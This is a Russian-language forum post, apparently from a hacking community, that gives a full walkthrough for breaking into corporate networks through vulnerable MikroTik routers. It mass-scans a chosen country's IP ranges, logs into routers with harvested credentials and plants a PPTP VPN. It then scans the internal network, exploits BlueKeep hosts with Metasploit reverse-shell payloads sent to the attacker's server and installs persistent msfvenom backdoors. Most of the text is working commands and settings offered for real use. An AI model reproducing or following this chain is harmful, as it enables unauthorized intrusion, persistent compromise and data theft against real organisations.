Доброго пребывания на форуме! Сегодня наш разговор пойдет про получение корпоративных доступов на сервера/компы с помощью уязвимых MikroTik в сети, закрепление в системе и сети, а также пища для размышлений! Усаживайтесь поудобнее, по желанию берите еду, напиток. Начинаем!
Начнём со вступления. Как я ранее сказал, мы будем добывать уязвимые MikroTik'и, разворачивать на них VPN, дабы войти в сеть, сканировать сеть RCE'шкой, эксплуатировать её и закрепляться в сети. Наш план:
У некоторых может возникнуть вопрос, мол - "Зачем для этого MikroTik ломать? Не легче сразу сканить TCP-порты?". Конечно, вариант с прямым сканом удобен и практичен, тем более затрачивает меньше времени. Но возможность сразу же проникнуть в сеть имеет свои плюсы - можем попутно "слушать" сетевые запросы с микротика, помогая себе же; не потеряем тачку, если она сменит динамический айпи; бесконечные возможности для "копания".
Этот способ СЛОЖНЕЕ прямого сканирования.
Начинаем первую главу - Скан диапазонов IP-адресов, поиск уязвимых MikroTik, разворачивание VPN.
Сперва стоит определиться с рабочей страной. Можно выбрать, как самую популярную страну по количеству задокументированных потенциально уязвимых роутеров, так и менее востребованную. Всё зависит от целей и желаний. Ознакомиться с самыми "активными" странами вы можете здесь - кликабельно:
Как только вы справились с дилеммой по выбору страны, можем начинать работу с IP.
Заходим на iwik.org ( кликабельно ) и скачиваем .cidr-файл выбранной вами страны. Пример:
Глаз пал на Бразилию, скачиваем - BR.cidr.
Убираем первую строчку в файле:
Скачиваем Masscan ( кликабельно ). Так как я юзаю дедик под управлением винды, то и версия масскана будет подходящая - MasscanForWindowsa ( кликабельно ). Под Linux компилируйте первый исходники самостоятельно.
Запускаем терминал, переходим в каталог с массканом. Запускаем скан -
Masscan32.exe -p8291 -iL "путь/до/cidr-файла" > "путь/до/итогового-файла.txt" --rate 1000000
:Дожидаемся окончания процесса, открываем конечный файл, чистим его от мусора в первых строках, оставляя лишь адреса.Вот и всё, с подготовкой адресов мы закончили.
Начинаем сканировать RouterScan'ом. Качаем его ( кликабельно ). Официальная версия под Linux отсутствует, на помощь приходит wine. Запускаем:
В поле ввода Ports добавляем - 80, 8080, 443, 8291.
В IP-ranges - вставляем содержимое ранее сготовленного текстового файла.
Нажимаем Start Scan и ожидаем конца сканирования. Обычно занимает 2-3 часа.
Начинаем перебирать все работоспособные MikroTik'и из вкладки Good found. Айпи, логин и пароль от панели управления находятся в соответствующих колонках.
Заходить через Winbox или веб-морду - ваш выбор. Сути это не меняет.
Переходим в Webfig -> System -> Users и проверяем группу доступа пользователя:
Она должна быть Full/System. В негативном случае - меняем микротик, повторяем действия.
Открываем вкладку PPP -> PPTP Server, создаём новый, выставляем настройки, как на скриншоте:
После, Profiles -> Default Encryption -> Protocols и ставим как у меня:
Идём в PPP -> Secrets, создаём новый:
Заполняем:
- Name - Имя юзера. Используется для подключения.
- Password - Пароль юзера. Используется для подключения.
- Service - PPTP.
- Local Address - Айпи микрота.
- Remote Address - Локальный адрес, выбираем свободный. Пример - 192.168.88.10.
В этой главе мы непосредственно начнем атаковать устройства, но прежде просканируем сеть.
Изучим сеть. Для этого подключимся к ранее созданному VPN, откроем терминал и заставим поработать nmap -
nmap -A 192.168.1.0/24
. Результат будет примерно таким: Bash:
Starting Nmap 7.91 ( https://nmap.org ) at 2024-09-29 13:00
Nmap scan report for 192.168.1.2
Host is up (0.0040s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 Professional 7601 Service Pack 1 (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Services
Device type: general purpose
Running: Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7::sp1
OS details: Microsoft Windows 7 Professional SP1
Nmap scan report for 192.168.1.5
Host is up (0.0030s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 Standard 7601 Service Pack 1 (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Services
Device type: general purpose
Running: Microsoft Windows Server 2008 R2
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1
OS details: Microsoft Windows Server 2008 R2 SP1
Nmap scan report for 192.168.1.8
Host is up (0.0050s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips)
3306/tcp open mysql MySQL 5.5.60
MAC Address: 00:1D:92:1B:2F:8A (Cisco Systems)
Device type: general purpose
Running: CentOS Linux 7
OS CPE: cpe:/o:centos:centos:7
OS details: CentOS Linux 7
Nmap scan report for 192.168.1.15
Host is up (0.0025s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http nginx 1.18.0
443/tcp open ssl/https nginx 1.18.0
MAC Address: 00:1A:2B:3C:4D:5F (Intel Corporate)
Device type: general purpose
Running: Ubuntu Linux 20.04
OS CPE: cpe:/o:ubuntu:ubuntu:20.04
OS details: Ubuntu 20.04 LTS
Неплохой лог. Сразу вижу здесь целых две уязвимых системы. Но чтобы убедиться в этом, прогоним через RDPScan:
Качаем зависимости -
sudo apt-get install libssl-dev build-essential
И сам репозиторий -
git clone https://github.com/robertdavidgraham/rdpscan.git
Перейдём в каталог с проектом -
cd /rdpscan/
И скомпилируем -
make -j
Запускаем -
./rdpscan --workers 300 --port 3389 --file "путь/до/файла-c-адресами-из-nmap.txt" grep 'VULN' | cut -f1 -d'-' >"путь/до/конечного-файла.txt"
Ожидаем некоторое время, дабы сканнер проработал. И о чудо, в файле оказались как раз таки те две уязвимые машины, про которые я сказал. Займёмся эксплуатацией, господа!
Запускаем в двух разных окнах терминала MetaSploit -
msfconsole
. Одно мы будем использовать для хендлера, другое - для самого блюкипа.Работаем с первым:
use exploit/multi/handler
- вешаем handler.set payload windows/x64/meterpreter/reverse_tcp_rc4
- выставляем реверс-пейлоадset EXITFUNC thread
- выбираем thread, ибо это универсальный вариант. Отлично нам подходит.Выставим через setg глобальные параметры:
Глобальная настройка | Значение |
---|---|
SessionLogging | y (включить логирование) |
loglevel | 1 (уровень логирования) |
И через set - обязательные базовые:
Настройка | Значение |
---|---|
LHOST | IP-адрес дедика |
LPORT | порт, где будет висеть слушатель |
RC4PASSWORD | пароль для RC4 |
ExitOnSession | 0 (данный параметр будет держать сессию всегда онлайн без завершения) |
Отлично, запускаем хендлер -
run -j
Переходим во второе окна терминала с запущенным Metasploit. Готовим всё необходимое:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp_rc4
set EXITFUNC thread
set DisablePayloadHandler 1
И теперь также через set ставим необходимые базовые параметры:
Настройка | Значение |
---|---|
LHOST | IP-адрес дедика |
LPORT | Порт слушателя, указывать такой же, как и в хендлере |
RC4PASSWORD | пароль такой же, как в хендлере |
ConnectTimeout | 5 ( таймаут на подключение ) |
GROOMSIZE | 120 |
GROOMCHANNELCOUNT | 1 |
forceexploit | 1 |
target | 1 |
rhosts | путь/до/файла-с-уязвимыми-системами.txt) |
Запускаем -
run
Спустя некоторое время в хендлере можем лицезреть прилетевшие сессии. Браво, осталось только закрепиться!
Открываем список доступных сессий -
sessions -i
Сбоку увидим порядковый номер сессии, подключиться к ней можем так -
sessions -i <номер_сессии>
Но подключаться к ней мы пока что не будем, лучше закинем ваш бекдор:
use post/windows/manage/persistence_exe
Настраиваем через set:
Имя | Пояснение |
---|---|
REXENAME | Имя файла, которое будет иметь пейлоад на удалённой системе |
REXEPATH | Путь до пейлоада на локальной машине |
SESSION | Ранее полученный номер сессии |
STARTUP | Тип автозапуска - USER, SYSTEM, SERVICE |
Запускаем -
run
Если вы не имеете своего пейлоада, то его легко создать:
Создаём исполняемый файл -
msfvenom -p windows/meterpreter/reverse_tcp LHOST="IP-адрес" LPORT="порт" -f exe -o payload.exe
И создадим новый хендлер:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST "IP-адрес, тот же, что и в msfvenom"
set LPORT "порт", тот же, что и в msfvenom[
exploit
Готово. При запуске исполняемого файла, который мы создали ранее, на целевой машине в консоли хендлера мы получим сессию и большое количество эксплуатационных функций.
Вот и подошел конец статьи. Очень надеюсь, что вы найдёте этому полезное применение :))
Всех поклонников цикла статей про MikroTik глубочайше приветствую!
Все вопросы связанные с темой прошу задавать в комментарии.
Донаты автору на поддержание выпусков статей:
BTC - 1MQmQqDfX4rGGDDJRd1HEWLLQMTTWXdwQt
Ton - UQAnlVF9QTqFSUwFOkfjpD4_lr1CzplzhThVuuM9Jtu0AJoz
UPD: Дорогие читатели, я создал свой блог в телеграме. В нём будут постится мои статьи, софт, гайды, инструменты, практические кейсы и иной эксклюзивный контент. Всех желающих приглашаю - @ssh_lab